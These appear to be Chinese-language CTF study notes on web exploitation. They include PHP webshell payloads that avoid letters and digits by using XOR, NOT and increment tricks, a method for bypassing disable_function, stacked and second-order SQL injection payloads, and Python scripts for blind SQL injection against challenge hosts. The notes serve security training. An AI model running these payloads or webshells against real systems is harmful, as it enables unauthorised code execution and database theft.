【秋名山车神 - Bugku CTF】
# 秋名山老司机:2s内算出结果,肯定是要写脚本提交的,人工根本来不及
import re
import requests
s=requests.session() # 保证提交的东西是在同一个会话里面的
r=s.get("http://123.206.87.240:8002/qiumingshan/")
searchObj= re.search(r'^<div>(.*)=\?;</div>$',r.text,re.M | re.S)
d={
"value":eval(searchObj.group(1))
}
r=s.post("http://123.206.87.240:8002/qiumingshan/",data=d)
print(r.text)
# 正则变换
import re
import requests
s=requests.session() # 保证提交的东西是在同一个会话里面的
r=s.get("http://123.206.87.240:8002/qiumingshan/")
searchObj= re.search(r'(\d+[+\-*])+(\d+)',r.text,re.M | re.S) # 匹配所有的数字开头的带有算符的字符串
d={
"value":eval(searchObj.group(1))
}
r=s.post("http://123.206.87.240:8002/qiumingshan/",data=d)
print(r.text)
五、无字母数字RCE
无数字字母rce是一个老生常谈的问题,就是不利用数字和字母构造出webshell取执行命令(也就是说在过滤里面会过滤数字和字母)
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>
思路就是利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,比如说assert,然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符
异或
两个字符串异或之后还是一个字符串,如果正则过滤了一些字符,那就可以使用两个不在正则匹配范围里面的字符串进行异或得到想要的字符串——也就是说根据ASCII码对应的数字,进行运算之后得到想要的字符对应的数字
当我们想得到
a-z
中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码
值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是相同为零,不同为一
动态调用
<?php
assert(phpinfo());
eval(phpinfo());
?>
eval() 是一个语言构造器,相当于while、if这样的控制语句,不是一个函数,不能被可变函数调用,执行的时候会直接映射对应的操作,而不会作为一个函数去解析,使用的时候后面的括号可加可不加,而函数后面的括号必须要加,常见的语言构造器:
echo、print、die、isset、unset、include、require、array、list、empty
可变函数即变量名加括号,php系统会尝试解析为函数,如果当前变量中的值为命名的函数,就会调用,如果没有就会报错,可变函数不能用于echo、print、unset()、isset()、empty()、include 以及类似的语言结构,需要使用自己的包装函数来将这些结构用作可变函数
版本问题:php在7.0时,assert()还可以动态调用,7.1以上,assert() 和 eval() 都不能动态调用了,assert() 不再能执行代码了
取反
取反也是php中的一种运算符,关于取反的具体规则可以参考这篇文章:PHP ~(按位取反)位运算符_php位取反-CSDN博客,取反的好处就是:每一个字符取反之后都会变成另一个字符,不像异或需要两个字符才能构造出一个字符
$_=~(%9E%8C%8C%9A%8D%8B); //这里利用取反符号把它取回来,$_=assert
$__=~(%A0%AF%B0%AC%AB); //$__=_POST
$___=$$__; //$___=$_POST
$_($___[_]); //assert($_POST[_]);
放到一排就是:
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);
无字母数字RCE fuzz脚本(限制访问权限)
注意,如果使用%数字进行运算的话,在浏览器经过url解码,对应的字符是十六进制数字对应的字符,不是十进制对应的字符
$ {} 结合异或符号进行RCE
${}
相当于eval(),区别在于${}
是用于获取变量值的,而eval()
是用于执行代码的——但是${} 不能执行变量对应的代码
import urllib.parse
find = ['G','E','T','_']
for i in range(1,256):
for j in range(1,256):
result = chr(i^j)
if(result in find):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))
任意挑选一组 组成以下
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=phpinfo
递增递减绕过
使用未过滤的字符不断自增或者自减得到希望的字母,进而得到需要的字符串
但是payload会很长,显得过于冗杂,如果遇到长度限制,还需要进行别的变形操作
在php中,强制使字符串和数组拼接,数组将会被转化为字符串,值为Array,此时可以得到A和a
php函数大小写不敏感,只获取A即可,a非必需
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
最终payload 整体需要url编码
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
【限制数字字母的命令执行】
命令执行-无字母数字webshell_无字母数字命令执行-CSDN博客
【例题:[极客大挑战 2019]RCE ME】
[极客大挑战 2019]RCE ME buuctf 题目详解思路_蚁剑连接后flag为空-CSDN博客
【绕过disable_function】
蚁剑获取权限之后,有disable_function的限制,打开readflag文件,会显示ret=127,就是限制命令的执行,绕过的话可以使用蚁剑的插件:右键加载插件,辅助工具,选择disable_function(win服务器绕过disable_function可能性不大)选择模式:PHP7 GC with Certain Destructors UAF,然后点击开始,会新建一个终端,7.1之前都是可以成功的,此时在蚁剑终端执行ls,然后读取readflag文件:/readflag,就会显示flag
【蚁剑安装插件】
windows,linux 蚁剑下载与安装 与 手动安装插件disable_functions_蚁剑下载安装-CSDN博客
【深入理解glob通配符】
RCE进阶(限制权限)
六、SQL注入进阶
题目一:随便注
buuctf[强网杯 2019]随便注 1(超详细,三种解法)
[强网杯 2019]随便注1 解题思路-CSDN博客(判断SQL注入->存在->过滤了select等关键方法->堆叠注入->select无法使用->修改表名)
concat拼接select执行:[强网杯 2019]随便注 【concat拼接】
?inject=1';sEt+@a=concat("sel","ect+flag+from+`1919810931114514`");prepare+hello+from+@a;execute+hello;-- -
【堆叠注入】
原理:mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如
select * from users;show databases;
就同时执行以上两条命令,所以可以增删改查,只要权限够~
虽然这个注入姿势很强大,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行
但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
【mysql handler】
handler只在堆叠注入中使用
题目二:easysql
[SUCTF 2019]EasySQL1 题目分析与详解_[suctf 2019]easysql 1-CSDN博客
题目三:网鼎Comment
[网鼎杯 2018]Comment题解,超详细!_网鼎杯2018 comment-CSDN博客
CTF_comment_git库泄露&&二次注入_wp_ctf git泄露-CSDN博客
GitHacker是一个多线程工具,用于检测站点是否存在git源码泄漏,并能够将网站源代码下载到本地。值得一提的是,这个工具会将整个git repo恢复到本地,而不是像[githack]那样,只是简单的恢复到最新版本。如此一来,你就可以查看到开发人员的历史提交记录以及提交注释,以更好的掌握开发者的性格和心理,从而为进一步的代码审计奠定基础
githacker:开启之后,python git——extract.py http://xxxxxxxxxxxxx,直接脱取,成功后会在当前文件夹生成一个在对方的git树里面脱取的数据
源码如下:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
【addslashes函数】
但代码审计之后,sql语句是有换行的,这里也是一个坑,#进行注释只能注释当前行,所以用/**/进行拼接注释
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$sql = "insert into comment
set category = '123',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
这里
/*',
content = '*/#',
被注释了,语句仍然是正常的sql语句
题目四:2048
【CTF-WScan】
无列名SQL注入
无列名SQL注入是无法脱表脱列脱字段的
1.InnoDb引擎从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。⽽在MYSQL5.6以上的版本中,mysql数据库中inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。其利用方式是:mysql.innodb_index_stats和mysql.innodb_table_stats2.sys数据库在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来⾃information_schema和performance_chema ,其本身不存储数据 。可以通过其中的 schema_auto_increment_columns 来获取列名 sys.schema_auto_increment_columns关于sys.schema_auto_increment_columns的描述如下开始了解这个视图之前,希望你可以想⼀下当你利用Mysql设计数据库时,是否会给每个表加一个 自增的id(或其他名字)字段 呢?如果是,那么我们发现了⼀个注入中在mysql默认情况下就可以替代information_schema库的方法schema_auto_increment_columns,其作用简单来说就是用来对表自增ID的监 控
WEB—无列名注入与过滤information_schema_information_schema被过滤-CSDN博客
【CTF】sql注入之无列名注入的姿势_ctf sql注入没有注入点-CSDN博客
题目一:[GYCTF2020]Ezsqli
无列名注入+偏移注入
[GYCTF2020]Ezsqli ---不会编程的崽-CSDN博客
import requests
flag=''
res=''
url1="http://697e1a0c-606c-4c7b-9a31-69449c4995d7.node5.buuoj.cn:81/index.php"
for i in range(1,500,1):
for y in range(32,128,1):
x=res+chr(y) #将匹配的字符与将要匹配的字符拼接进行比较
url='-1||((select 1,"'+x+'")>(select * from f1ag_1s_h3r3_hhhhh))'
content={'id':url}
data=requests.post(url=url1,data=content)
if "Nu1L" in str(data.text):
res = res + chr(y-1) #匹配成功后自增,减一是因为相等返回为0,但成立条件是大于返回1,所以减1才是相等
flag=flag+chr(y-1)
print(flag)
break
[GYCTF2020]Ezsqli (限制权限)